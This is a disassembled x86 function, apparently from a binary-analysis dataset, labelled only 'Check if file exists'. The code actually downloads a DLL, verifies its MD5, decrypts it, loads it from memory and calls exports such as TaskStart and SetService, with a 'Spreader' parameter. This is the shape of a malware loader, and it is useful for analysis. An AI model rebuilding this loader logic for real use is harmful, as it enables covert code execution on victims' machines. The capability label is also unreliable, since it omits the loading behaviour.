Function at 0x49ac30
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x515312
mov eax, dword fs:[0]
push eax
sub esp, 0x59c
mov eax, dword [0x56b0f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi], 0
mov eax, dword [ebp + 0x14]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x594], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x598], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x59c], eax
je 0x49ac96
mov eax, dword [esi + 0x38]
test eax, eax
je 0x49ac8f
call eax
mov ecx, dword [esi]
call fcn.004a2a70
push 0
lea ecx, [esi + 4]
mov dword [esi], 0
push 0x5616fd
call fcn.004990e0
push 0
lea ecx, [esi + 0x1c]
push 0x5616fd
call fcn.004990e0
mov eax, dword [esi + 0x48]
test eax, eax
je 0x49acd1
push eax
call fcn.004add5a
add esp, 4
mov dword [esi + 0x48], 0
lea eax, [ebp - 0x480]
mov dword [esi + 0x34], 0
push edi
push eax
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
call fcn.004b87cd
mov dword [ebp - 4], 0
lea eax, [ebp - 0x480]
cmp dword [ebp - 0x46c], 8
cmovae eax, dword [ebp - 0x480]
push eax
lea eax, [ebp - 0x450]
push eax
call fcn.004b74dc
mov byte [ebp - 4], 1
lea eax, [ebp - 0x450]
cmp dword [ebp - 0x43c], 8
push 0xe
cmovae eax, dword [ebp - 0x450]
push 0x561958
push dword [ebp - 0x440]
push eax
call fcn.00499c70
add esp, 0x20
test eax, eax
je 0x49ad8f
cmp dword [ebp - 0x43c], 8
lea eax, [ebp - 0x450]
push 0xb
cmovae eax, dword [ebp - 0x450]
push str.znshuru.com
push dword [ebp - 0x440]
push eax
call fcn.00499c70
add esp, 0x10
test eax, eax
je 0x49ad8f
push str.LoadMemDll_Url_Filter_Failed___
call fcn.004b8eac
add esp, 4
xor bl, bl
jmp 0x49b31e
lea eax, [esi + 4]
cmp eax, edi
je 0x49ada2
push 0xffffffffffffffff
push 0
push edi
mov ecx, eax
call fcn.004991e0
lea eax, [esi + 0x1c]
cmp eax, ebx
je 0x49adb5
push 0xffffffffffffffff
push 0
push ebx
mov ecx, eax
call fcn.004991e0
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0x438]
push eax
call fcn.0049b840
mov byte [ebp - 4], 2
cmp dword [ebx + 0x10], 0
jbe 0x49aff6
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x49ae5f
lea eax, [ebp - 0x468]
push edi
push eax
call fcn.004b87cd
sub esp, 0x10
mov byte [ebp - 4], 3
mov ecx, esp
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 8
jb 0x49ae20
mov eax, dword [ecx]
jmp 0x49ae22
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x438]
push edx
push eax
call fcn.00498ec0
lea eax, [ebp - 0x468]
push eax
call fcn.0049b720
test al, al
jne 0x49ae50
push str.DownDllToLocal_1_dll_file_Failed_
jmp 0x49af1b
lea ecx, [ebp - 0x468]
mov byte [ebp - 4], 2
call fcn.00498900
push ebx
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 8
jb 0x49ae7d
mov eax, dword [ecx]
jmp 0x49ae7f
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x438]
push edx
push eax
call fcn.00498ec0
call fcn.0049b430
test al, al
jne 0x49af42
lea eax, [ebp - 0x468]
push edi
push eax
call fcn.004b87cd
sub esp, 0x10
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 8
jb 0x49aece
mov eax, dword [ecx]
jmp 0x49aed0
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x438]
push edx
push eax
call fcn.00498ec0
lea eax, [ebp - 0x468]
push eax
call fcn.0049b720
test al, al
jne 0x49aefb
push str.DownDllToLocal_2_dll_file_Failed___
jmp 0x49af1b
push ebx
sub esp, 0x18
lea eax, [ebp - 0x438]
mov ecx, esp
push eax
call fcn.00498a20
call fcn.0049b430
test al, al
jne 0x49af33
push str.CheckFileMD5_file_Failed___
call fcn.004b8eac
add esp, 4
lea ecx, [ebp - 0x468]
call fcn.00498900
jmp 0x49b2e1
lea ecx, [ebp - 0x468]
mov byte [ebp - 4], 2
call fcn.00498900
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x49aff6
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
lea ecx, [ebp - 0x538]
cmovae eax, dword [ebp - 0x438]
sub esp, 0xc
push eax
call fcn.0049bc40
lea eax, [ebp - 0x468]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x538]
call fcn.0049c720
mov edi, dword [eax + 8]
add edi, dword [eax]
lea eax, [edi + 0xa]
push eax
call fcn.004adda0
lea ecx, [edi + 1]
mov dword [esi + 0x48], eax
push ecx
push 0
push eax
call fcn.004c42d0
add esp, 4
lea ecx, [ebp - 0x538]
call fcn.0049c800
push 0
push edi
push dword [esi + 0x48]
lea ecx, [ebp - 0x538]
call fcn.0049c910
lea ecx, [ebp - 0x538]
call fcn.0049bc00
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 2
call fcn.0049b3a0
jmp 0x49b01f
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edi
mov byte [ecx], 0
call fcn.004991e0
mov ecx, esi
call fcn.0049ba00
mov edi, eax
test edi, edi
je 0x49b2e1
mov al, byte [0x561aa0]
lea edx, [ebp - 0x5a8]
movq xmm0, qword [0x561a98]
lea ecx, [ebp - 0x588]
movq qword [ebp - 0x5a8], xmm0
mov byte [ebp - 0x5a0], al
call fcn.0049e760
xor ecx, ecx
lea edx, [ebp - 0x50c]
nop dword [eax + eax]
mov eax, dword [edx - 4]
lea edx, [edx - 8]
mov dword [ebp + ecx*4 - 0x508], eax
mov eax, dword [edx + 8]
mov dword [ebp + ecx*4 - 0x504], eax
add ecx, 2
cmp ecx, 0x20
jl 0x49b060
mov edx, dword [esi + 0x48]
lea ecx, [ebp - 0x588]
push edi
xorps xmm0, xmm0
push edx
movq qword [ebp - 0x488], xmm0
call fcn.0049f4d0
add esp, 8
lea eax, [ebp - 0x590]
push eax
lea eax, [edi - 0xc]
push eax
mov eax, dword [esi + 0x48]
add eax, 0xc
push eax
call fcn.004aef80
test eax, eax
je 0x49b2e1
cmp byte [eax], 0x4d
je 0x49b0cb
cmp byte [eax + 1], 0x5a
jne 0x49b2e1
mov edx, dword [ebp - 0x590]
sub esp, 0x18
mov ecx, eax
call fcn.004a2730
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x49b2e1
mov edx, str.TaskStart
mov ecx, eax
call fcn.004a29b0
mov ecx, dword [esi]
mov edx, str.TaskFree
mov dword [esi + 0x34], eax
call fcn.004a29b0
mov ecx, dword [esi]
mov edx, str.SetService
mov dword [esi + 0x38], eax
call fcn.004a29b0
mov ecx, dword [esi]
mov edx, str.SetRunPath
mov dword [esi + 0x3c], eax
call fcn.004a29b0
mov ecx, dword [esi]
mov edx, str.SetParameter
mov dword [esi + 0x40], eax
call fcn.004a29b0
mov ecx, dword [esi + 0x34]
mov dword [esi + 0x44], eax
test ecx, ecx
je 0x49b264
cmp dword [esi + 0x38], 0
je 0x49b264
cmp dword [esi + 0x3c], 0
je 0x49b264
cmp dword [esi + 0x40], 0
je 0x49b264
test eax, eax
je 0x49b264
push 0x410
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.004c42d0
add esp, 0xc
lea eax, [ebp - 0x420]
push 0x208
push eax
push dword [0x578470]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea edi, [ebp - 0x420]
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x49b1b0
mov eax, dword [0x561ba4]
mov dword [edi], eax
lea eax, [ebp - 0x420]
push eax
push 0x561ba8
call fcn.004b8eac
mov eax, dword [ebp - 0x594]
add esp, 8
cmp dword [eax + 0x14], 8
jb 0x49b1e5
mov eax, dword [eax]
push eax
mov eax, dword [esi + 0x44]
push str.Spreader
call eax
mov eax, dword [ebp - 0x598]
cmp dword [eax + 0x14], 8
jb 0x49b1fe
mov eax, dword [eax]
push eax
mov eax, dword [esi + 0x44]
push str.MaxVer
call eax
mov eax, dword [ebp - 0x59c]
cmp dword [eax + 0x14], 8
jb 0x49b217
mov eax, dword [eax]
push eax
mov eax, dword [esi + 0x44]
push str.MinVer
call eax
mov eax, dword [esi + 0x44]
push 0x561c04
push 0x561c08
call eax
mov eax, dword [esi + 0x44]
push 0x561c00
push str.RunBP
call eax
mov eax, dword [esi + 0x44]
push 0x561c00
push str.RunBus
call eax
lea eax, [ebp - 0x420]
push eax
mov eax, dword [esi + 0x40]
call eax
mov eax, dword [esi + 0x34]
call eax
mov bl, 1
jmp 0x49b2e3
push eax
push dword [esi + 0x40]
push dword [esi + 0x3c]
push dword [esi + 0x38]
push ecx
push str.FreeMemDll_taskStart___X__TaskFree___X__SetService___X__SetRunPath___X__SetParameter___X
call fcn.004b8eac
add esp, 0x18
cmp dword [esi], 0
je 0x49b291
mov eax, dword [esi + 0x38]
test eax, eax
je 0x49b28a
call eax
mov ecx, dword [esi]
call fcn.004a2a70
push 0
push 0x5616fd
lea ecx, [esi + 4]
mov dword [esi], 0
call fcn.004990e0
push 0
push 0x5616fd
lea ecx, [esi + 0x1c]
call fcn.004990e0
mov eax, dword [esi + 0x48]
test eax, eax
je 0x49b2cc
push eax
call fcn.004add5a
add esp, 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
xor bl, bl
mov eax, dword [ebp - 0x424]
cmp eax, 8
jb 0x49b301
inc eax
lea ecx, [ebp - 0x438]
push eax
push dword [ebp - 0x438]
call fcn.00499470
xor eax, eax
mov dword [ebp - 0x424], 7
mov dword [ebp - 0x428], 0
mov word [ebp - 0x438], ax
mov eax, dword [ebp - 0x43c]
cmp eax, 8
jb 0x49b33c
inc eax
lea ecx, [ebp - 0x450]
push eax
push dword [ebp - 0x450]
call fcn.00499470
mov ecx, dword [ebp - 0x46c]
xor eax, eax
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], 0
mov word [ebp - 0x450], ax
cmp ecx, 8
jb 0x49b377
inc ecx
push ecx
push dword [ebp - 0x480]
lea ecx, [ebp - 0x480]
call fcn.00499470
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004add49
mov esp, ebp
pop ebp
ret 0x1c